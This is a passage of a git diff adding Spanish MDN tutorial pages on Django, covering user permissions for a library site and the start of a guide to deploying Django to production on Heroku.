+ +{% block content %} + <h1>Borrowed books</h1> + + {% if bookinstance_list %} + <ul> + + {% for bookinst in bookinstance_list %} + <li class="{% if bookinst.is_overdue %}text-danger{% endif %}"> + <a href="{% url 'book-detail' bookinst.book.pk %}">\{{bookinst.book.title}}</a> (\{{ bookinst.due_back }}) + </li> + {% endfor %} + </ul> + + {% else %} + <p>There are no books borrowed.</p> + {% endif %} +{% endblock %}</pre> + +<p>Esta plantilla es muy similar a esas que hemos creado previamente para los objetos <code>Book</code> y <code>Author</code>. La única "cosa" nueva aquí es que comprobamos el método que hemos añadido en el modelo <code>(bookinst.is_overdue</code>) y lo usamos para cambiar el color de los elementos atrasados.</p> + +<p>Cuando el servidor de desarrollo esté en ejecución, deberías ser capaz de ver la lista de los usuarios que han iniciado sesión en tu navegador en <a href="http://127.0.0.1:8000/catalog/mybooks/">http://127.0.0.1:8000/catalog/mybooks/</a>. Prueba esto con tu usuario iniciado en la sesión y cerrado en la sesión (en el segundo caso, deberías ser redirigido a la página de inicio).</p> + +<h3 id="Añadir_la_lista_a_la_barra_lateral">Añadir la lista a la barra lateral</h3> + +<p>El último paso es añadir un enlace para esta nueva página en la barra lateral "sidebar". Pondremos esto en la misma sección donde mostramos otra información para el usuario que ha iniciado la sesión.</p> + +<p>Abre la plantilla base (<strong>/locallibrary/catalog/templates/base_generic.html</strong>) y añade la línea en negrita a la barra lateral como se muestra.</p> + +<pre class="brush: python notranslate"> <ul class="sidebar-nav"> + {% if user.is_authenticated %} + <li>User: \{{ user.get_username }}</li> +<strong> <li><a href="{% url 'my-borrowed' %}">My Borrowed</a></li></strong> + <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li> + {% else %} + <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li> + {% endif %} + </ul> +</pre> + +<h3 id="¿Cómo_se_ve">¿Cómo se ve?</h3> + +<p>Cuando cualquier usuario ha iniciado sesión, verán el enlace <em>My Borrowed</em> (Mis Alquileres) en la barra lateral, y la lista de libros mostrados como se ve abajo (¡el primer libro no tiene fecha de vencimiento, que es un bug que esperamos arreglar en un tutorial posterior!).</p> + +<p><img alt="Library - borrowed books by user" src="https://mdn.mozillademos.org/files/14105/library_borrowed_by_user.png" style="border-style: solid; border-width: 1px; display: block; height: 215px; margin: 0px auto; width: 530px;"></p> + +<h2 id="Permisos">Permisos</h2> + +<p>Los permisos están asociados con los modelos, y definen las operaciones que pueden llevarse a cabo en un modelo instanciado por un usuario que tiene el permiso. Por defecto, Django automáticamente da los permisos <em>add</em>, <em>change</em>, and <em>delete</em> (añadir, cambiar y eliminar) a todos los modelos, que permiten a los usuarios con los permisos realizar las acciones asociadas a través del sitio de Administrador. Tú puedes definir tus propios permisos a los modelos y concedérselos a usuarios específicos. También puedes cambiar los permisos asociados con diferentes instancias del mismo modelo.</p> + +<p>Probar permisos en vistas y plantillas es muy similar a probar sobre el estado de autenticación (y, de hecho, probar un permiso también prueba una autenticación).</p> + +<h3 id="Modelos_2">Modelos</h3> + +<p>La definición de permisos está hecha en la sección del modelo "<code>class Meta</code>", usando el campo <code>permissions</code>. Puedes especificar tantos permisos como necesites en una tupla, cada permiso está definido a sí mismo en una tupla anidada que contiene el nombre del permiso y el valor mostrado del mismo. Por ejemplo, podríamos definir un permiso para permitir a un usuario marcar un libro que ya ha sido devuelto, como se muestra:</p> + +<pre class="brush: python notranslate">class BookInstance(models.Model): + ... + class Meta: + ... +<strong> permissions = (("can_mark_returned", "Set book as returned"),) </strong> </pre> + +<p>Podríamos asignar el permiso a un grupo bibliotecario "Librarian" en el sitio de Administración.</p> + +<p>Abre <strong>catalog/models.py</strong>, y añade el permiso como se muestra arriba. Necesitarás volver a ejecutar tus migraciones (ejecutar <code>python3 manage.py makemigrations</code> y <code>python3 manage.py migrate</code>) para actualizar la base de datos de forma apropiada.</p> + +<h3 id="Plantillas">Plantillas</h3> + +<p>Los permisos del usuario actual están almacenados en una variable de plantilla llamada <code>\{{ perms }}</code>. Puedes comprobar si el usuario actual tiene un permiso particular usando el nombre de variable específico con la "app" asociada en Django — ej. <code>\{{ perms.catalog.can_mark_returned }}</code> será <code>True</code> (cierto) si el usuario tiene el permiso, y <code>False</code> (falso) en otro caso. De forma típica probamos el permiso usando la etiqueta de plantilla <code>{% if %}</code> como se muestra:</p> + +<pre class="brush: python notranslate">{% if perms.catalog.<code>can_mark_returned</code> %} + <!-- We can mark a BookInstance as returned. --> + <!-- Perhaps add code to link to a "book return" view here. --> +{% endif %} +</pre> + +<h3 id="Vistas">Vistas</h3> + +<p>Los permisos pueden ser probados en una vista de función usando el decorador <code>permission_required</code> o en una vista basada en clases usando el <code>PermissionRequiredMixin</code>. El patrón y el comportamiento son los mismos que para la autenticación de inicio de sesión, aunque desde luego podrías razonablemente tener que añadir múltiples permisos.</p> + +<p>Decorador de vista de funciones:</p> + +<pre class="brush: python notranslate">from django.contrib.auth.decorators import permission_required + +@permission_required('catalog.<code>can_mark_returned</code>') +@permission_required('catalog.<code>can_edit</code>') +def my_view(request): + ...</pre> + +<p>"Mixin" de permisos requeridos para vistas basadas en clases:</p> + +<pre class="brush: python notranslate">from django.contrib.auth.mixins import PermissionRequiredMixin + +class MyView(PermissionRequiredMixin, View): + permission_required = 'catalog.<code>can_mark_returned</code>' + # Or multiple permissions + permission_required = ('catalog.<code>can_mark_returned</code>', 'catalog.can_edit') + # Note that 'catalog.can_edit' is just an example + # the catalog application doesn't have such permission!</pre> + +<h3 id="Ejemplo">Ejemplo</h3> + +<p>Nosotros no actualizaremos la <em>LocalLibrary</em> aquí; ¡quizás en el siguiente tutorial!</p> + +<h2 id="Desafíate_a_ti_mismo">Desafíate a ti mismo</h2> + +<p>Anteriormente en este artículo te mostramos cómo crear una página para el usuario actual para listar los libros que había pedido prestado. El desafío ahora es crear una página similar que solamente sea visible para los bibliotecarios, que muestre todos los libros que hayan sido prestados, y que incluya el nombre de cada prestatario.</p> + +<p>Deberías ser capaz de seguir el mismo patrón que el de la otra vista. La principal diferencia es que necesitarás restringir la vista a solamente los bibliotecarios. Podrías hacer esto basándote en si es un miembro de los empleados (decorador de función: <code>staff_member_required</code>, variable de plantilla: <code>user.is_staff</code>) pero nosotros te recomendamos que en su lugar uses el permiso <code>can_mark_returned</code> y <code>PermissionRequiredMixin</code>, como se describe en la sección anterior.</p> + +<div class="warning"> +<p><strong>Importante</strong>: Recuerda no usar tu súper usuario para pruebas basadas en permisos (la comprobación de permisos siempre devuelve cierto para súper usuarios, ¡incluso si un permiso no ha sido definido todavía!). En su lugar, crea un usuario bibliotecario, y añade entonces la capacidad requerida.</p> +</div> + +<p>Cuando hayas terminado, tu página debería verse algo parecida a la captura de pantalla de abajo.</p> + +<p><img alt="All borrowed books, restricted to librarian" src="https://mdn.mozillademos.org/files/14115/library_borrowed_all.png" style="border-style: solid; border-width: 1px; display: block; height: 283px; margin: 0px auto; width: 500px;"></p> + +<ul> +</ul> + +<h2 id="Sumario">Sumario</h2> + +<p>Excelente trabajo — has creado un sitio web para que los miembros de la biblioteca puedan iniciar sesión y ver su propio contenido, y los bibliotecarios (con el permiso correcto) puedan usarlo para ver todos los libros alquilados y sus prestatarios. En este momento estamos todavía simplemente viendo contenido, pero los mismos principios y técnicas son usados cuando empiezas a modificar y añadir datos.</p> + +<p>En nuestro siguiente artículo observaremos cómo puedes usar los formularios de Django para recoger la entrada de datos del usuario, y entonces empezar a modificar algunos de nuestros datos almacenados.</p> + +<h2 id="Ver_también">Ver también</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/auth/">Autenticación de Usuario en Django</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/auth/default//">Usando el sistema por defecto de Autenticación de Django</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/intro/#decorating-class-based-views">Introducción a clases basadas en vistas > Decoradores</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> + +<div id="gtx-trans" style="position: absolute; left: 170px; top: 8184.58px;"> +<div class="gtx-trans-icon"></div> +</div> diff --git a/files/es/learn/server-side/django/deployment/index.html b/files/es/learn/server-side/django/deployment/index.html new file mode 100644 index 0000000000..ddcb7f5c4e --- /dev/null +++ b/files/es/learn/server-side/django/deployment/index.html @@ -0,0 +1,672 @@ +--- +title: 'Tutorial de Django Parte 11: Desplegando Django a producción' +slug: Learn/Server-side/Django/Deployment +translation_of: Learn/Server-side/Django/Deployment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</div> + +<p class="summary">Ahora que has creado (y probado) un fantastico sitio web para la <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Biblioteca Local</a>, querrás instalarlo en un servidor web público de manera que pueda ser accedido por el personal y los miembros de la biblioteca a través de Internet. Este artículo proporciona una visión general de cómo buscar un host para desplegar tu sitio web y de lo que necesitas hacer para conseguir que tu sitio esté listo en producción.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Requisitos previos:</th> + <td>Completar todos los tutoriales de los temas previos, incluyendo <a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a>.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>Aprender ¿cómo? y ¿dónde? puedes puedes desplegar una app de Django en producción.</td> + </tr> + </tbody> +</table> + +<h2 id="Introducción">Introducción</h2> + +<p>Una vez que tu sitio este terminado (o lo suficientemente terminado como para iniciar una prueba pública) vas a necesitar alojarla en un lugar más público y accesible que tu computadora personal.</p> + +<p>Hasta ahora has estado trabajando en un entorno de desarrollo, usando <em>Django development web server </em>para compartir tu sitio con el navegador/red local, y corriendo tu sitio web con configuraciones (inseguras) de desarrollo que exponen la depuración y otra informacion privada. Antes de que puedas alojar tu sitio web externamente, lo primero que tendrás que hacer es:</p> + +<ul> + <li>Introducir algunos cambios en las configuraciones del proyecto.</li> + <li>Elegir un entorno para alojar la aplicacion Django.</li> + <li>Elegir un entorno para alojar cualquier archivo estático.</li> + <li>Configurar una infraestructura a nivel producción para servir tu sitio web.</li> +</ul> + +<p>Este tutorial provee una guía de opciones para elegir un sitio de alojamiento, una breve descripción general de lo que necesitas hacer para preparar tu aplicación Django en producción, y un ejemplo práctico de cómo instalar el sitio web de LocalLibrary en el servicio de alojamiento en la nube de <a href="https://www.heroku.com/">Heroku</a>.</p> + +<h2 id="¿Qué_es_un_entorno_de_producción">¿Qué es un entorno de producción?</h2> + +<p>El entorno de producción es el entorno proporcionado por el servidor en el que correrá su sitio web para uso externo. El entorno incluye:</p> + +<ul> + <li>Equipos en los que el sitio web correrá.</li> + <li>Sistema operativo (p.e. Linux, Windows).</li> + <li>Lenguajes de programación y librerías sobre las que su sitio web está escrito.</li> + <li>Servidor web empleado para servir páginas y otros contenidos (p.e. Nginx, Apache).</li> + <li>Servidor de aplicaciones que transmite peticiones "dinámicas" entre su sitio web Django y el servidor web.</li> + <li>Bases de datos que su sitio web necesita.</li> +</ul> + +<div class="note"> +<p><strong>Nota</strong>: Dependiendo de como esté configurado su entorno de producción, usted podría disponer también de un proxy inverso, balanceador de carga, etc.</p> +</div> + +<p>El servidor podría estar ubicado en sus propias instalaciones y conectado a Internet a través de un enlace rápido, pero lo más común es utilizar un computador alojado "en la nube". Esto en realidad implica que su código es ejecutado en algún computador remoto (o posiblemente un computador "virtual") en el centro (o centros) de datos de su compañía de servicios de <em>hosting.</em> El servidor remoto normalmente ofrecerá un determinado nivel garantizado de recursos de computación (es decir, CPU, RAM, memoria de almacenamiento, etc) y de conectividad a Internet por un cierto precio.</p> + +<p>A este tipo de hardware de computación/comunicaciones accesible de forma remota se le denomina <em>Infrastructure as a Service </em>o<em> Infraestructura como Servicio (IaaS)</em>. Muchos proveedores de IaaS ofrecen la opción de preinstalar un sistema operativo en particular, sobre el cual se debe instalar el resto de componentes de su entorno de producción. Otros permiten seleccionar entornos plenamente configurados, con incluso configuraciones de Django y servidor web establecidas.</p> + +<div class="note"> +<p><strong>Nota</strong>: Los entornos pre-construidos le permiten establecer su sitio web de manera muy sencilla, ya que reducen el trabajo de configuración, pero las opciones disponibles podrían limitarle al uso de un servidor (u otros componentes) poco conocido, o podrían estar basados en versiones antiguas del Sistema Operativo. A menudo es preferible que uno mismo instale sus propios componentes, de manera que disponga de los que desee, y en el momento que necesite subir el nivel de prestaciones de alguna parte del sistema, tener cierta idea de por dónde empezar</p> +</div> + +<p>Otros proveedores de <em>hosting</em> incluyen Django como parte de una <em>Plataform as a Service </em>o<em> Plataforma como Servicio (PaaS)</em>. En este tipo de <em>hosting</em> no necesita preocuparse de la mayor parte del entorno de producción (servidor web, servidor de aplicaciones, balanceadores de carga), dado que la plataforma host ya se ocupa de todo ello por usted (así como de casi todo lo necesario para escalar su aplicación). Esto hace el despliegue bastante sencillo, puesto que ya solo necesita concentrarse en su aplicación web y no en el resto de la infraestructura de servidor.</p> + +<p>Algunos desarrolladores elegirán la mayor flexibilidad ofrecida por una IaaS frente a una PaaS, mientras que otros valorarán el reducido coste general de mantenimiento y la mayor facilidad de escalado de PaaS. Cuando se está empezando, la instalación del sitio web en un sistema PaaS es mucho más sencilla, así que eso es lo que haremos en este tutorial. </p> + +<div class="note"> +<p><strong>Consejo:</strong> Si eliges un proveedor de hosting adaptado a Python/Django, éste debería facilitar instrucciones de cómo instalar un sitio web Django usando diferentes configuraciones de servidor web, servidor de aplicaciones, proxy inverso, etc (esto es irrelevante si eliges una PaaS). Por ejemplo, existen muchas guías paso-a-paso para distintas configuraciones en la <a href="https://www.digitalocean.com/community/tutorials?q=django">Digital Ocean Django community docs</a>.</p> +</div> + +<h2 id="Eligiendo_un_proveedor_de_hosting">Eligiendo un proveedor de hosting</h2> + +<p>Existen más de 100 proveedores de hosting de los que se sabe que, o bien dan soporte activo, o funcionan bien con Django (puedes encontrar una lista bastante extensa en <a href="http://djangofriendly.com/hosts/">Djangofriendly hosts</a>). Estos proveedores proporcionan diferentes tipos de entornos (IaaS, PaaS), así como diferentes niveles de recursos de computación y comunicaciones a diferentes precios.</p> + +<p>Algunos aspectos a considerar al elegir un host son:</p> + +<ul> + <li>Una estimación de cómo de ocupado va a estar el sitio y el coste de los recursos de datos y computación requeridos para atender esa demanda.</li> + <li>Nivel de soporte para el escalado tanto horizontal (añadir más máquinas) como vertical (subir de nivel con máquinas más potentes), y el coste que ello supone.</li> + <li>Dónde están ubicados los centros de datos de los proveedores y, por consiguientte, a cuáles será probablemente más rápido el acceso.</li> + <li>Los históricos de permanencia en actividad e inactividad del host.</li> + <li>Herramientas proporcionadas para la gestión del sitio — si son fáciles de usar y si son seguras (Por ejemplo, SFTP frente a FTP). </li> + <li>Frameworks incorporadas para poder monitorear tu servidor.</li> + <li>Limitaciones conocidas. Algunos hosts bloquearán deliberadamente ciertos servicios (por ejemplo, email). Otros ofrecerán solo un cierto número de horas de "tiempo vivo" en determinados niveles de precios, u ofrecerán solo una pequeña cantidad de almacenamiento.</li> + <li>Beneficios adicionales. Algunos proveedores pueden ofrecer de forma gratuita nombres de dominio y soporte para certificados SSL por los que, de otro modo, tendrías que pagar.</li> + <li>Si el nivel "gratuito" del que dependes expira al cabo de un tiempo, o si el coste de migrar a un nivel más caro puede implicar que sea más conveniente usar algún otro servicio desde el primer momento.</li> +</ul> + +<p>La buena noticia cuando estás en los comienzos es que existen bastantes sitios que proporcionan entornos de computación de "evaluación", "desarrollo" o "de nivel aficionado" de forma gratuita. Se trata siempre de entornos bastantes limitados/restringidos en recursos, y debes estar precavido en que pueden expirar al cabo de un periodo de introducción. Son, no obstante, muy útiles para probar sitios con poco tráfico en un entorno real, y pueden proporcionar una migración sencilla contratando más recursos si el sitio alcanza más ocupación. Entre las opciones conocidas de esta categoría tenemos <a href="https://www.heroku.com/">Heroku</a>, <a href="https://www.pythonanywhere.com/">Python Anywhere</a>, <a href="http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-free-tier.html">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us/pricing/details/app-service/">Microsoft Azure</a>, etc. </p> + +<p>Muchos proveedores disponen también de un nivel "básico" que proporciona niveles de capacidad de computación más útiles y con menos limitaciones. <a href="https://www.digitalocean.com/">Digital Ocean</a> y <a href="https://www.pythonanywhere.com/">Python Anywhere</a> son ejemplos de proveedores populares de hosting que ofrecen niveles básicos de computación relativamente baratos (en el rango de los 5 a los 10 $USD mensuales).</p> + +<div class="note"> +<p><strong>Nota:</strong> Recuerda que el precio no es el único criterio de selección. Si tu sitio web tiene éxito, la escalabilidad puede convertirse en la consideración más importante.</p> +</div> + +<h2 id="Preparando_tu_sitio_web_para_hacerlo_público">Preparando tu sitio web para hacerlo público</h2> + +<p>La <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django skeleton website</a> creada usando las herramientas <em>django-admin </em>y <em>manage.py</em> están configuradas para hacer más sencillo el desarrollo. Muchos de los ajustes del proyecto Django (especificados en <strong>settings.py</strong>) deberían ser distintos en producción, por razones tanto de seguridad como de rendimiento.</p> + +<div class="note"> +<p><strong>Consejo:</strong> Es bastante común disponer de un archivo <strong>settings.py</strong> separado en producción, e importar los ajustes sensibles desde un archivo aparte o desde una variable de entorno. Este archivo debería, por tanto, estar protegido, aún cuando el resto del código fuente esté disponible en un repositorio público.</p> +</div> + +<p>Los ajustes críticos que debes comprobar son:</p> + +<ul> + <li><code>DEBUG</code>. Debería establecerse como <code>False</code> en producción (<code>DEBUG = False</code>). Así se evita que se muestre la traza de depuración sensible/confidencial y la información variable.</li> + <li><code>SECRET_KEY</code>. Es un valor aleatorio grande utilizado para la protección CRSF etc. Es importante que la clave utilizada en producción no esté en el control fuente ni accesible desde fuera del servidor de producción. La documentación Django sugiere que debería ser cargada desde una variable de entorno o leída desde un archivo de sólo servicio (<em>serve-only file</em>).</li> + <li> + <pre class="notranslate"># Read SECRET_KEY from an environment variable +import os +SECRET_KEY = os.environ['SECRET_KEY'] + +#OR + +#Read secret key from a file +with open('/etc/secret_key.txt') as f: + SECRET_KEY = f.read().strip()</pre> + </li> +</ul> + +<p>Modifiquemos la aplicación <em>LocalLibrary</em> de manera que leamos nuestras variables <code>SECRET_KEY</code> y <code>DEBUG</code> desde variables de entorno si han sido definidas o, en otro caso, usar los valores por defecto del archivo de configuración.</p> + +<p><span>Abra </span><strong>/locallibrary/settings.py</strong><span>, deshabilite la configuración original de l </span><code>SECRET_KEY</code><span> y añada las nuevas líneas tal como se muestran abajo en <strong>negrita</strong>. Durante el desarrollo no se especificará ninguna variable de entorno para la clave, por lo que se usará el valor por defecto (no debería importar qué clave utilizas aquí, o si la clave tiene "fugas", dado que no la utilizarás en producción).</span></p> + +<pre class="brush: python notranslate"># SECURITY WARNING: keep the secret key used in production secret! +# SECRET_KEY = 'cg#p$g+j9tax!#a3cup@1$8obt2_+&k3q+pmu)5%asj6yjpkag' +<strong>import os</strong> +<strong>SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY', 'cg#p$g+j9tax!#a3cup@1$8obt2_+&k3q+pmu)5%asj6yjpkag')</strong> +</pre> + +<p>A continuación, comenta el ajuste de <code>DEBUG</code> existente y añade la nueva línea que se muestra abajo.</p> + +<pre class="brush: python notranslate"># SECURITY WARNING: don't run with debug turned on in production! +# DEBUG = True +<strong>DEBUG = bool( os.environ.get('DJANGO_DEBUG', True) )</strong> +</pre> + +<p>El valor de <code>DEBUG</code> será <code>True</code> por defecto, pero será <code>False</code> si el valor de la variable de entorno <code>DJANGO_DEBUG</code> se establece como una cadena vacía, es decir, <code>DJANGO_DEBUG=''</code>.</p> + +<div class="note"> +<p><strong>Nota</strong>: Sería más intuitivo si pudiéramos simplemente marcar y desmarcar la variable de entorno <code>DJANGO_DEBUG</code> a <code>True</code> y <code>False</code> directamente, en lugar de usar "cualquier cadena" o "cadena vacía" (respectivamente). Por desgracia, los valores de las variables de entorno son almacenados como cadenas de Python (<em>Python strings</em>), y la única cadena que se evalúa como <code>False</code> es la cadena vacía (por ejemplo, <code>bool('')==False</code>).</p> +</div> + +<p><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/">Deployment checklist</a> (Django docs) proporciona una lista de comprobación completa de ajustes que podrías querer cambiar. Puedes también sacar una lista de algunos de ellos usando el siguiente comando de terminal:</p> + +<pre class="brush: python notranslate">python3 manage.py check --deploy +</pre> + +<h2 id="Ejemplo_Instalando_LocalLibrary_en_Heroku">Ejemplo: Instalando LocalLibrary en Heroku</h2> + +<p>Esta sección aborda una demostración práctica de cómo instalar <em>LocalLibrary</em> en <a href="http://heroku.com">Heroku PaaS cloud</a>.</p> + +<h3 id="¿Por_qué_Heroku">¿Por qué Heroku?</h3> + +<p>Heroku es uno de los servicios PaaS basados en la nube más duraderos y conocidos. Originalmente únicamente daba soporte a aplicaciones Ruby, pero actualmente puede utilizarse para aplicaciones host de muchos entornos de programación, incluido Django!</p> + +<p>Vamos a elegir Heroku por varias razones:</p> + +<ul> + <li>Heroku tiene un nivel gratuito (<a href="https://www.heroku.com/pricing">free tier</a>) que es <em>verdaderamente</em> gratuito (aunque con algunas limitaciones).</li> + <li>Como PaaS, Heroku se hace cargo de gran parte de la infraestructura web por nosotros. Esto hace mucho más sencillos los comienzos, al no tener que preocuparnos por servidores, balanceadores de carga, proxys inversos, o cualquier otro aspecto de la infraestructura web, de los que Heroku se ocupa por nosotros en un segundo plano.</li> + <li>Aunque tenga algunas limitaciones, éstas no afectarán a nuestra aplicación particular. Por ejemplo: + <ul> + <li>Heroku sólo proporciona almacenamiento efímero, por lo que los archivos subidos por el usuario no pueden almacenarse de forma segura en el propio Heroku.</li> + <li>El nivel gratuito mantendrá dormida cualquier aplicación web inactiva que no haya tenido requerimientos dentro de un periodo de media hora. El sitio puede tardar varios segundos en responder cuando se le despierte.</li> + <li>El nivel gratuito limita el tiempo que el sitio puede estar en ejecución a cierta cantidad de horas al mes (sin contar el tiempo que el sitio permanece "dormido"). Esto está bien para un sitio de poco uso o de demostración, pero no es asumible si se necesita una disponibilidad del 100%. </li> + <li>Otras limitaciones se relacionan en <a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Heroku docs).</li> + </ul> + </li> + <li>Lo principal es que funciona, y si te termina gustando, escalar tus aplicaciones será muy sencillo.</li> +</ul> + +<p>Si bien Heroku es perfecto para alojar esta demostración, puede no serlo para tu sitio web real. Heroku facilita la instalación y el escalado, a costa de ser menos flexible, y potencialmente mucho más caro una vez que abandonas el nivel gratuito.</p> + +<h3 id="¿Cómo_funciona_Heroku">¿Cómo funciona Heroku?</h3> + +<p>Heroku ejecuta sitios web Django dentro de uno o más "<a href="https://devcenter.heroku.com/articles/dynos">Dynos</a>", que son contenedores Unix virtualizados y aislados que proporcionan el entorno necesario para ejecutar una aplicación. Los dynos están completamente aislados y disponen de un sistema de archivos <em>efímero</em> (sistema de archivos de vida corta que es limpiado/vaciado cada vez que el dyno se reinicia). Lo único que los dynos comparten por defecto son las variables de configuración (<a href="https://devcenter.heroku.com/articles/config-vars">configuration variables</a>) de las aplicaciones. Heroku utiliza interrnamente un balanceador de carga para distribuir el tráfico web entre todas las dynos "web". Puesto que no se comparte nada entre ellas, Heroku puede escalar una app horizontalmente simplemente añadiendo más dynos (aunque, claro está, podrías necesitar escalar tu base de datos para aceptar conexiones adicionales).</p> + +<p>Puesto que el sistema de archivos es efímero, no puedes instalar los servicios requeridos por tu aplicación directamente (por ejemplo, bases de datos, colas, sistemas de cacheado, almacenamiento, servicios de correo electrónico, etc). En su lugar, las aplicaciones web de Heroku usan servicios de respaldo proporcionados por Heroku o terceros como "add-ons" independientes. Una vez adjuntados a tu aplicación web, los dynos acceden a los servicios usando la información contenida en las variables de configuración de la aplicación.</p> + +<p>Para ejecutar tu aplicación, Heroku necesita poder instalar el entorno y las dependencias adecuados, y entender cómo están enlazados. Para las apps Django, esta información se proporciona en una serie de archivos de texto:</p> + +<ul> + <li><strong>runtime.txt</strong>:<strong> </strong>el lenguaje de programación y la versión a utilizar.</li> + <li><strong>requirements.txt</strong>: dependiencias de los componentes de Python, incluyendo a Django.</li> + <li><strong>Procfile</strong>: Lista de procesos que han de ejecutarse para arrancar la aplicación web. Para Django, esto será normalmente el servidor de aplicaciones web Gunicorn (con un script .wsgi).</li> + <li><strong>wsgi.py</strong>: Configuración <a href="http://wsgi.readthedocs.io/en/latest/what.html">WSGI</a> para invocar a nuestra aplicación Django en el entorno Heroku.</li> +</ul> + +<p>Los desarrolladores interactúan con Heroku usando una app/terminal cliente especial, algo muy parecido a un bash script de Unix. Esto permite subir código almacenado en un repositorio git, inspeccionar los procesos en ejecución, ver logs, establecer variables de configuración, y mucho más!.</p> + +<p>Para conseguir nuestra aplicación para trabajar en Heroku, necesitaremos colocar nuestra aplicación web Django dentro de un repositorio git, añadir los archivos anteriores, integrar con una base de datos add-on, y hacer cambios para manejar correctamente los archivos estáticos.</p> + +<p>Una vez hecho todo eso, podemos crear una cuenta Heroku, obtener el cliente Heroku, y usarlo para instalar nuestro sitio web.</p> + +<div class="note"> +<p><strong>Nota: </strong>Las instrucciones indicadas abajo reflejan la forma de trabajar con Heroku en el momento de la redacción. Si Heroku cambia sus procesos de forma significativa, podrías preferir, en su lugar, revisar su documentación de instalación: <a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Getting Started on Heroku with Django</a>.</p> +</div> + +<p>Con esto ya tienes una visión general de lo que necesitas para empezar (vea <a href="https://devcenter.heroku.com/articles/how-heroku-works">How Heroku works</a> para tener una guía más exhaustiva).</p> + +<h3 id="Creando_un_repositorio_de_aplicación_en_Github">Creando un repositorio de aplicación en Github</h3> + +<p>Heroku está estrechamente integrado con el sistema de control de versiones de código fuente <strong>git</strong>, usándolo para subir/sincronizar cualquier cambio que hagas en los sistemas activos. Esto se hace añadiendo un nuevo repositorio "remoto" heroku denominado <em>heroku</em> que apunta a un repositorio para tu fuente en la nube Heroku. Durante el desarrollo usas git para almacenar los cambios en tu repositorio "maestro". Cuando quieras desplegar tu sitio, sincronizas tus cambios con el repositorio Heroku.</p> + +<div class="note"> +<p><strong>Nota:</strong> Si estás acostumbrado a seguir buenas prácticas de desarrollo de software, probablemente ya estás usando git o algún otro sistema SCM. Si ya dispones de un repositorio git, podrás saltarte este paso.</p> +</div> + +<p>Existen muchas formas de trabajar con git, pero una de las más sencillas es crear en primer lugar una cuenta en <a href="https://github.com/">Github</a>, crear allí el repositorio, y a continuación sincronizarlo localmente:</p> + +<ol> + <li>Visita <a href="https://github.com/">https://github.com/</a> y crea una cuenta.</li> + <li>Una vez conectado, haz click en el enlace <strong>+</strong> de la barra de tareas superior y selecciona <strong>New repository</strong>.</li> + <li>Rellena todos los campos de este formulario. Aunque no son obligatorios, es muy recomendable que los rellenes todos. + <ul> + <li>Introduce el nombre del nuevo repositorio (por ejemplo, <em>django_local_library</em>), y una descripción (por ejemplo "Sitio web de la Biblioteca Local escrita en Django").</li> + <li>Selecciona <strong>Python</strong> en la lista de selección <em>Add .gitignore.</em></li> + <li>Selecciona tu licencia en la lista de selección <em>Add license</em>.</li> + <li>Marca <strong>Initialize this repository with a README</strong>.</li> + </ul> + </li> + <li>Pulsa <strong>Create repository</strong>.</li> + <li>Haz click en el botón verde "<strong>Clone or download</strong>" en la página de tu nuevo repositorio.</li> + <li>Copia el valor de la URL del campo de texto situado dentro de la caja de diálogo que aparece (debería decir algo como: <strong>https://github.com/<em><your_git_user_id></em>/django_local_library.git</strong>).</li> +</ol> + +<p>Ahora que el repositorio ("repo") ha sido creado, querremos clonarlo en nuestra computadora local:</p> + +<ol> + <li>Instala <em>git</em> para tu computadora local (puedes encontrar versiones para distintas plataformas <a href="https://git-scm.com/downloads">here</a>).</li> 